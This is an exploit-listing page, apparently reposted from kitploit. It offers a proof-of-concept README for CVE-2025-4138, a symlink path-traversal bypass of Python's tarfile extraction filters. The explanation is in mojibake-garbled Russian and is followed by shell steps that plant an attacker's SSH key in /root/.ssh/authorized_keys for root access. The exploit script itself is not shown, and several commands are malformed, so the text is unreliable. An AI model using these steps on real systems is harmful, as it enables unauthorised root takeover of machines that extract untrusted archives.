Sploitus

Exploit for CVE-2025-4138

kitploit Β· 2026-08-25

Exploit Code

MARKDOWN46 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-LOCALH0STE-CVE-2025-4138
# CVE-2025-4138 (Π£ΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ ΠΎΠ±Ρ…ΠΎΠ΄Π° ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π° Π² ΠΌΠΎΠ΄ΡƒΠ»Π΅ Python Tarfile с ΠΏΠ΅Ρ€Π΅ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ΠΌ пСрСкрСстного ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π°)

ВоздСйствиС : ΠΏΠΎΠ²Ρ‹ΡˆΠ΅Π½ΠΈΠ΅ ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΉ

* * *

Π Π°Π±ΠΎΡ‚Π° :

ΠœΠ΅Ρ‚ΠΎΠ΄Ρ‹ TarFile.extractall() ΠΈ TarFile.extract() Π² Python ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΡƒΡŽ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Ρ„ΠΈΠ»ΡŒΡ‚Ρ€ для ΠΏΠΎΠ²Ρ‹ΡˆΠ΅Π½ΠΈΡ бСзопасности использования этих ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ². Бтандартная Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° Python прСдоставляСт Π΄Π²Π΅ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ **tar_filter ("tar")** ΠΈ **data_filter** ("data"), каТдая ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… выполняСт Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ для ΠΏΠΎΠ²Ρ‹ΡˆΠ΅Π½ΠΈΡ бСзопасности извлСчСния tar-Ρ„Π°ΠΉΠ»ΠΎΠ².

БущСствуСт ошибка ΠΏΡ€ΠΈ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅ ΠΏΡƒΡ‚ΠΈ с символичСскими ссылками, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΊΠΎΡ€ΠΎΡ‡Π΅ **PATH_MAX** , Π½ΠΎ становится Π΄Π»ΠΈΠ½Π½Π΅Π΅ **PATH_MAX** послС Π·Π°ΠΌΠ΅Π½Ρ‹ символичСских ссылок с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ os.path.realpath(). Π›ΡŽΠ±Ρ‹Π΅ символичСскиС ссылки, выходящиС Π·Π° ΠΏΡ€Π΅Π΄Π΅Π»Ρ‹ PATH_MAX, Π½Π΅ Ρ€Π°ΡΠΊΡ€Ρ‹Π²Π°ΡŽΡ‚ΡΡ.

os.path.realpath() ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Ρ„ΠΈΠ»ΡŒΡ‚Ρ€Π°ΠΌΠΈ "tar" ΠΈ "data" для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ ΠΏΡƒΡ‚ΠΈ, Π½ΠΎ ошибка Π½Π΅ Π²ΠΎΠ·Π½ΠΈΠΊΠ°Π΅Ρ‚, Ссли PATH_MAX ΠΏΡ€Π΅Π²Ρ‹ΡˆΠ΅Π½. ПозТС Π²ΠΎ врСмя extractall() ΠΈΠ»ΠΈ extract() ΠΏΡƒΡ‚ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ Π±Π΅Π· ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ ΠΈΡ… Ρ‡Π΅Ρ€Π΅Π· os.path.realpath().

Бсылка : https://github.com/google/security-research/security/advisories/GHSA-hgqp-3mmf-7h8f

* * *

Как ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ PoC :

  1. ΠœΡ‹ собираСмся Π²ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ наш ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚Ρ‹ΠΉ ΠΊΠ»ΡŽΡ‡ SSH Π² **/root/.ssh/authorized_keys** для ΠΏΠΎΠ²Ρ‹ΡˆΠ΅Π½ΠΈΡ ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΉ.
  2. Π’Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ для эксплуатации



root@kitploit:~
    
    
    ssh-keygen -t ed25519 -f any
    mkdir test
    
    mv any.pub authorized_keys
    cp authorized_keys /test
    cd test
    
    #Put your public key file name (authorized_keys)
    python3 exploit.py
    (file.tar) ~ generated
    
    # Now using Python3
    sudo python3 tar -xvf file.tar
    
    #login
    chmod 600 any
    ssh -i any user@ip